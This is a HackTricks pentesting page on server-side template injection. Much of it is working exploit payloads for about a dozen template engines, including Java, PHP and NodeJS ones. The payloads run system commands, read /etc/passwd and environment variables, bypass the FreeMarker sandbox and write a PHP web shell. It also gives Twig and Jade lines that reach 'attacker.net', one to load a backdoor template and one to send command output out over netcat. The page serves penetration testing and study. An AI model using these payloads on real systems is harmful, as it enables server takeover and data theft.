HackTricks
Search…
Pentesting
Powered By GitBook
SSTI (Server Side Template Injection)
This guide is based on the one of Portswigger: https://portswigger.net/web-security/server-side-template-injection

What is server-side template injection?

A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.
An example of vulnerable code see the following one:
1
$output = $twig->render("Dear " . $_GET['name']);
Copied!
In the previous example part of the template itself is being dynamically generated using the GET parameter name. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:
1
http://vulnerable-website.com/?name={{bad-stuff-here}}
Copied!

Constructing a server-side template injection attack

Detect

As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as the polyglot ${{<%[%'"}}%\. In order to check if the server is vulnerable you should spot the differences between the response with regular data on the parameter and the given payload. If an error is thrown it will be quiet easy to figure out that the server is vulnerable and even which engine is running. But you could also find a vulnerable server if you were expecting it to reflect the given payload and it is not being reflected or if there are some missing chars in the response.

Detect - Plaintext context

The given input is being rendered and reflected into the response. This is easily mistaken for a simple XSS vulnerability, but it's easy to differentiate if you try to set mathematical operations within a template expression:
1
{{7*7}}
2
${7*7}
3
<%= 7*7 %>
4
${{7*7}}
5
#{7*7}
Copied!

Detect - Code context

In these cases the user input is being placed within a template expression:
1
engine.render("Hello {{"+greeting+"}}", data)
Copied!
The URL access that page could be similar to: http://vulnerable-website.com/?greeting=data.username
If you change the greeting parameter for a different value the response won't contain the username, but if you access something like: http://vulnerable-website.com/?greeting=data.username}}hello then, the response will contain the username (if the closing template expression chars were }}). If an error is thrown during these test, it will be easier to find that the server is vulnerable.

Identify

Once you have detected the template injection potential, the next step is to identify the template engine. Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.
If you are lucky the server will be printing the errors and you will be able to find the engine used inside the errors. Some possible payloads that may cause errors:
${}
{{}}
<%= %>
${7/0}
{{7/0}}
<%= 7/0 %>
${foobar}
{{foobar}}
<%= foobar %>
${7*7}
{{7*7}}
``
Otherwise, you'll need to manually test different language-specific payloads and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:

Exploit

Read

The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:
    'For Template Authors' sections covering basic syntax.
    'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
    Lists of builtin methods, functions, filters, and variables.
    Lists of extensions/plugins - some may be enabled by default.

Explore

Assuming no exploits have presented themselves, the next step is to explore the environment to find out exactly what you have access to. You can expect to find both default objects provided by the template engine, and application-specific objects passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.
If there's no builtin self object you're going to have to bruteforce variable names using SecLists and Burp Intruder's wordlist collection.
Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.

Attack

At this point you should have a firm idea of the attack surface available to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.

Tools

Tplmap

1
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
2
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
3
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Copied!

Exploits

Generic

In this wordlist you can find variables defined in the environments of some of the engines mentioned below:

Java

Java - Basic injection

1
${7*7}
2
${{7*7}}
3
${class.getClassLoader()}
4
${class.getResource("").getPath()}
5
${class.getResource("../../../../../index.htm").getContent()}
Copied!

Java - Retrieve the system’s environment variables

1
${T(java.lang.System).getenv()}
Copied!

Java - Retrieve /etc/passwd

1
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
2
3
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Copied!

FreeMarker (Java)

You can try your payloads at https://try.freemarker.apache.org
    {{7*7}} = {{7*7}}
    ${7*7} = 49
    #{7*7} = 49 -- (legacy)
    ${7*'7'} Nothing
    ${foobar}
1
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
2
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
3
${"freemarker.template.utility.Execute"?new()("id")}
4
5
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Copied!

Freemarker - Sandbox bypass

⚠️ only works on Freemarker versions below 2.3.30
1
<#assign classloader=article.class.protectionDomain.classLoader>
2
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
3
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
4
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
5
${dwf.newInstance(ec,null)("id")}
Copied!

More information

Velocity (Java)

1
#set($str=$class.inspect("java.lang.String").type)
2
#set($chr=$class.inspect("java.lang.Character").type)
3
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
4
$ex.waitFor()
5
#set($out=$ex.getInputStream())
6
#foreach($i in [1..$out.available()])
7
$str.valueOf($chr.toChars($out.read()))
8
#end
Copied!

More information

Thymeleaf (Java)

The typical test expression for SSTI is ${7*7}. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:
    SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
    OGNL: ${#rt = @[email protected](),#rt.exec("calc")}
However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]] or [(...)] (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]].
Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string on the fly, they would need to create their own TemplateResolver. This is possible but happens very rarely.
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called expression preprocessing. Expressions placed between double underscores (__...__) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
1
#{selection.__${sel.code}__}
Copied!

Vulnerable example

1
<a th:href="@{__${path}__}" th:title="${title}">
2
3
http://localhost:8082/(7*7)
4
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Copied!

More information

Spring View Manipulation (Java)

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
2
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Copied!

Pebble (Java)

    {{ someString.toUPPERCASE() }}
Old version of Pebble ( < version 3.0.9):
1
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Copied!
New version of Pebble :
1
{% set cmd = 'id' %}
2
{% set bytes = (1).TYPE
3
.forName('java.lang.Runtime')
4
.methods[6]
5
.invoke(null,null)
6
.exec(cmd)
7
.inputStream
8
.readAllBytes() %}
9
{{ (1).TYPE
10
.forName('java.lang.String')
11
.constructors[0]
12
.newInstance(([bytes]).toArray()) }}
Copied!

Jinjava (Java)

1
{{'a'.toUpperCase()}} would result in 'A'
2
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Copied!
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Jinjava - Command execution

1
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
2
3
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
4
5
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
6
7
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Copied!

More information

Hubspot - HuBL (Java)

    {% %} statement delimiters
    {{ }} expression delimiters
    {# #} comment delimiters
    {{ request }} - [email protected]
    {{'a'.toUpperCase()}} - "A"
    {{'a'.concat('b')}} - "ab"
    {{'a'.getClass()}} - java.lang.String
    {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
    {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
1
{{request.isDebug()}}
2
//output: False
3
4
//Using string 'a' to get an instance of class sun.misc.Launcher
5
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
7
8
//It is also possible to get a new object of the Jinjava class
9
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
10
11
12
//It was also possible to call methods on the created object by combining the {% %} and {{ }} blocks
13
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}
14
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
15
16
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
17
//output: xxx
18
19
//RCE
20
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
21
22
23
//RCE with org.apache.commons.io.IOUtils.
24
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
25
//output: netstat execution
26
27
//Multiple arguments to the commands
28
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
29
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n
Copied!

More information

Expression Language - EL (Java)

    ${"aaaa"} - "aaaa"
    ${99999+1} - 100000.
    #{7*7} - 49
    ${{7*7}} - 49
    ${{request}}, ${{session}}, {{faceContext}}
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by several JavaEE technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). Check the following page to learn more about the exploitation of EL interpreters:

Smarty (PHP)

1
{$smarty.version}
2
{php}echo `id`;{/php} //deprecated in smarty v3
3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
4
{system('ls')} // compatible v3
5
{system('cat index.php')} // compatible v3
Copied!

More information

Twig (PHP)

    {{7*7}} = 49
    ${7*7} = ${7*7}
    {{7*'7'}} = 49
    {{1/0}} = Error
    {{foobar}} Nothing
1
#Get Info
2
{{_self}} #(Ref. to current application)
3
{{_self.env}}
4
{{dump(app)}}
5
{{app.request.server.all|join(',')}}
6
7
#File read
8
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
9
10
#Exec code
11
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
12
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
13
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
14
{{['id']|filter('system')}}
15
{{['cat\x20/etc/passwd']|filter('system')}}
16
{{['cat$IFS/etc/passwd']|filter('system')}}
Copied!

Twig - Template format

1
$output = $twig > render (
2
'Dear' . $_GET['custom_greeting'],
3
array("first_name" => $user.first_name)
4
);
5
6
$output = $twig > render (
7
"Dear {first_name}",
8
array("first_name" => $user.first_name)
9
);
Copied!

More information

Jade (NodeJS)

1
- var x = root.process
2
- x = x.mainModule.require
3
- x = x('child_process')
4
= x.exec('id | nc attacker.net 80')
Copied!
1
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Copied!